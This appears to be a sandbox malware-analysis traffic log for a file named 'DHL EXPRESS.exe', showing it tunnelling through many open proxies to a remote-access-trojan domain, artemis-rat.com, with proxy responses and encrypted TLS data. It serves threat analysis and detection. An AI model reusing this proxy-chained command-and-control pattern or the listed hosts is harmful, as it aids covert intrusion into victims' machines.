Mar 11, 2024 18:36:47.618460894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.772929907 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.8	51942	185.162.228.154	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.619535923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.773967028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.8	51793	85.62.218.250	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.631701946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.937689066 CET	1254	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html;charset=utf-8 Content-Length: 952 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 37 3a 33 36 3a 34 37 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://artemis-rat.com/">https://artemis-rat.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 17:36:47 GMT</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.8	51755	4.144.161.159	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.632112026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.965460062 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 18:36:48.100598097 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2f 51 b1 d1 f9 43 8e 92 49 f7 6e a5 20 05 57 7c 77 0f ba 06 3a 9b a5 b4 44 23 bd fb 75 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA/QCIn W\|w:D#u*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:48.445667982 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 41 30 fd fc f0 4c 38 dd b2 f5 72 99 45 bd 62 26 0f c6 9e 5f b4 e4 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 6b 0b 00 10 67 00 Data Ascii: C?eA0L8rEb&_DOWNGRD/#kgde0a0I?LR0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240214225240Z240514225239Z010
Mar 11, 2024 18:36:48.445686102 CET	1286	IN	Data Raw: 98 6e 71 f4 11 ac 4d b8 a7 7d 6f da c6 bc f4 b1 9e 56 4d 29 6b 80 18 2b 54 cc 2f af 96 ce 21 d1 4a a2 d6 af dc dc c3 23 73 8a f8 60 aa 82 11 8f 73 e6 dd de ff f1 c4 74 75 19 89 f2 11 f3 81 b3 5c 09 1f 05 21 66 f5 dc f5 01 c2 34 dc e1 8e 2b 77 c7 Data Ascii: nqM}oVM)k+T/!J#s`stu\!f4+wF3yO3RDw.QJRh8?hXZR`UHG3XF%~ t\5\|0F<Arp'~00tP'S"0*H0G10UUS
Mar 11, 2024 18:36:48.445734024 CET	1286	IN	Data Raw: 9f 57 a9 41 6d 5a 90 a7 db 3a ea 75 80 0c 63 0b 69 74 6f 07 4c 15 f3 37 28 a5 19 a4 6e f5 f6 20 cd 63 b2 7e c4 2b 09 75 89 da d1 3c 2e 72 4f 36 1a a1 9e 44 d0 cd 9b a6 23 08 3f 97 a1 a7 9e 5a a5 f7 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de Data Ascii: WAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*
Mar 11, 2024 18:36:48.445745945 CET	372	IN	Data Raw: 30 02 86 1d 68 74 74 70 3a 2f 2f 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 74 30 32 06 03 55 1d 1f 04 2b 30 29 30 27 a0 25 a0 23 86 21 68 74 74 70 3a 2f 2f 63 72 6c 2e 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e Data Ascii: 0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0*H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ
Mar 11, 2024 18:36:48.445827007 CET	364	IN	Data Raw: 19 94 55 6c d4 29 b2 0d c1 66 5b e2 77 49 48 28 ed 9d d7 1a 33 72 53 b3 82 35 cf 62 8b c9 24 8b a5 b7 39 0c bb 7e 2a 41 bf 52 cf fc a2 96 b6 c2 82 3f 16 03 03 01 2c 0c 00 01 28 03 00 1d 20 6b b5 b8 c3 2f bb 97 ef ed 00 01 4b 09 d1 9b e9 88 c5 c1 Data Ascii: Ul)f[wIH(3rS5b$9~*AR?,( k/KOmF3+>N]:>dv(Yl,O`2snwR;[~b&?vsr0}CtXCROUH&9{07#$1h/6TQc\|
Mar 11, 2024 18:36:48.463455915 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 53 c5 8c 1e 9f e8 22 55 8f 46 2a ff c5 ee 89 47 b8 60 96 51 7f 32 46 4f 88 35 b2 03 f7 8c 60 2f 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 db 16 12 aa 87 e3 56 90 83 6f 2f 8e a5 f7 43 84 3c 7c 2e 16 db Data Ascii: %! S"UFG`Q2FO5`/(Vo/C<\|.tT:d
Mar 11, 2024 18:36:48.805845976 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 65 84 7b f2 09 f6 6d 8c 5f 88 28 f7 ca 10 1d 8b e3 7c 2b 99 47 60 57 4b 94 66 b1 88 07 ec 90 4e 5d 0b 66 c4 79 f0 98 af 79 ad e2 05 9b e2 56 e8 49 6d 3c a3 e0 bb 4c 92 a9 af 69 38 dd b1 07 eb 2e c3 79 Data Ascii: e{m_(\|+G`WKfN]fyyVIm<Li8.yCfbl:k:w_\|I:s)=G[p-v-&!D8<^}9o[{uyu+IvN+V(w3
Mar 11, 2024 18:36:48.807441950 CET	252	OUT	Data Raw: 17 03 03 00 f7 00 00 00 00 00 00 00 01 bf 9c 18 00 83 03 ff d4 ad e9 24 8d ce 87 4b 3b d3 ef 7c e9 3c f0 05 0f 40 51 20 03 10 05 a9 44 7d 4b ca 97 cf bc da b2 4c 69 f8 12 f7 cf 4c 4b e0 3d 80 ce e1 97 10 72 51 d3 7d 76 41 ad 1c 40 86 2a 6c e0 72 Data Ascii: $K;\|<@Q D}KLiLK=rQ}vA@lr){Efi"\|& Ot\|JtA&:1\|C]vtRAJ??N"qnzI\|6I >^2'Gz?jy+[=/nLDN
Mar 11, 2024 18:36:49.150463104 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 a4 dc 2f 39 7c f9 e1 ab ad 08 4e f5 39 63 0f 12 10 c4 4e 1e a3 fb cc ef c0 76 1f 2c 8f 3c 56 55 c7 75 22 36 c2 fb 18 a3 9e 7c 49 3c d1 35 6f ab b1 08 c4 e8 0b 1a 30 af 18 75 68 1c 9a 21 1e b9 99 01 4b a0 b5 Data Ascii: q/9\|N9cNv,<VUu"6\|I<5o0uh!K<~C3vBNBJc#r"1HG?1D0*NfUw$~<[7p6KZ9-z5kd l30;?/Jg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.8	51140	103.53.78.26	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.634465933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.395230055 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.8	51702	45.117.179.179	27836	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.634543896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.8	51805	221.153.92.39	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.635189056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.8	51764	91.134.140.160	12217	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.635205984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.456402063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.8	51907	162.241.46.54	58330	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.636004925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.206365108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.8	51708	213.202.230.241	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.637249947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.950186968 CET	76	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.41 (Ubuntu)
Mar 11, 2024 18:36:48.093921900 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2e fb 00 63 45 fb 42 8e 1e 80 81 eb de bd e7 45 18 9e a6 92 42 62 f3 86 34 1a 6f dc 88 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA.cEBEBb4o*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:48.410118103 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 41 30 66 7c 3e 2e 0b 40 29 0d be 29 82 e7 94 d4 78 5c 9e ed 20 44 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 6b 0b 00 10 67 00 Data Ascii: C?eA0f\|>.@))x\ DDOWNGRD/#kgde0a0I?LR0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240214225240Z240514225239Z010
Mar 11, 2024 18:36:48.410159111 CET	1286	IN	Data Raw: 98 6e 71 f4 11 ac 4d b8 a7 7d 6f da c6 bc f4 b1 9e 56 4d 29 6b 80 18 2b 54 cc 2f af 96 ce 21 d1 4a a2 d6 af dc dc c3 23 73 8a f8 60 aa 82 11 8f 73 e6 dd de ff f1 c4 74 75 19 89 f2 11 f3 81 b3 5c 09 1f 05 21 66 f5 dc f5 01 c2 34 dc e1 8e 2b 77 c7 Data Ascii: nqM}oVM)k+T/!J#s`stu\!f4+wF3yO3RDw.QJRh8?hXZR`UHG3XF%~ t\5\|0F<Arp'~00tP'S"0*H0G10UUS
Mar 11, 2024 18:36:48.410707951 CET	1286	IN	Data Raw: 9f 57 a9 41 6d 5a 90 a7 db 3a ea 75 80 0c 63 0b 69 74 6f 07 4c 15 f3 37 28 a5 19 a4 6e f5 f6 20 cd 63 b2 7e c4 2b 09 75 89 da d1 3c 2e 72 4f 36 1a a1 9e 44 d0 cd 9b a6 23 08 3f 97 a1 a7 9e 5a a5 f7 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de Data Ascii: WAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*
Mar 11, 2024 18:36:48.410782099 CET	736	IN	Data Raw: 30 02 86 1d 68 74 74 70 3a 2f 2f 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 74 30 32 06 03 55 1d 1f 04 2b 30 29 30 27 a0 25 a0 23 86 21 68 74 74 70 3a 2f 2f 63 72 6c 2e 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e Data Ascii: 0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0*H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ
Mar 11, 2024 18:36:48.459664106 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 34 73 f3 57 f7 55 3e b0 69 18 cc 66 f5 c6 c7 63 85 f1 00 6f ae 1f 7a 02 27 1a 2c a7 7c 5a a8 5c 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 63 56 de 52 9e 90 77 be aa db 26 65 e2 6f 84 fe ae 9f ef ca f5 Data Ascii: %! 4sWU>ifcoz',\|Z\(cVRw&eoSq\
Mar 11, 2024 18:36:48.774286032 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 bf 4e e6 ea 6c 8a 75 d2 b1 5b 77 6f 43 68 de 11 58 21 a8 6a 9d 5e ce aa 93 66 d9 75 30 f0 b1 4f 4b 08 cb a5 1a 02 2e 07 56 8d 65 e8 7d b8 53 bd df ff 4c 14 e8 b6 1d a8 0c 2a 8c f6 a3 04 b7 4f 3d 3b b4 Data Ascii: Nlu[woChX!j^fu0OK.Ve}SL*O=;%t!>d?L'?U?q 5bahTaSu1{DZQ7JsZ/^%OwV:3/Y9&"5I -Ee(H,2sM.`
Mar 11, 2024 18:36:48.792629004 CET	252	OUT	Data Raw: 17 03 03 00 f7 00 00 00 00 00 00 00 01 e2 8f ba ce 80 72 8c e1 db fc 16 8a f3 68 f0 eb 57 1e 85 f7 f9 5b 45 8e 39 5a a0 55 c9 e8 38 00 89 51 b8 35 26 54 8b 51 d0 27 54 81 87 dd 0e 64 95 ee cf c4 3e 5e 51 07 4f 49 c7 8d 2a ae bc c8 16 a7 4d e8 38 Data Ascii: rhW[E9ZU8Q5&TQ'Td>^QOI*M8!}$kv0Z~uQR>^tgk>q}g{DQd&{1;I$oJoZg^s3<^' ]h#G:
Mar 11, 2024 18:36:49.112670898 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 d6 2a 8d f2 b0 2c bd 9c 58 7c cc b0 0c c8 98 97 f5 57 ab 68 38 dc a6 30 7f a8 32 f8 44 5d fb 92 27 e7 f9 5b 6b 83 c2 5d a7 46 97 cd cb 14 8d c3 a1 ec c3 43 6b 96 f3 ef bb f0 21 48 0a 54 74 10 39 cd 6a bc d0 Data Ascii: q*,X\|Wh802D]'[k]FCk!HTt9j:&@Kh"8YO!X'hC\|J#q'l^O>!&\YQ!jlhSV[Gs}%p7NSlmI~lAKR4wcs>}LJ3t.
Mar 11, 2024 18:36:49.112732887 CET	1286	IN	Data Raw: f7 c4 6b 04 fa 86 98 10 61 62 75 57 31 2d eb 5e 4c 4e 1f c4 7c 8d 49 27 a7 e5 31 6d 42 46 95 26 aa 59 ea f1 86 f2 30 04 14 a1 35 aa ee 22 db 9b 66 a2 af 1d f2 de 85 cc 7c 73 03 0d ac 5f 8e 17 01 23 12 04 2a 3f 94 a5 4a e3 c7 d9 a6 97 fc b9 af f9 Data Ascii: kabuW1-^LN\|I'1mBF&Y05"f\|s_#*?Jz<S`I$&qI)sa74S}wxJX}EYE%Jm&J7kjQbXmY>th9!pT5>E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.8	51759	31.148.207.153	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.638624907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.983484030 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.8	51830	211.222.252.187	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.638860941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.8	51728	62.141.70.118	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.640654087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
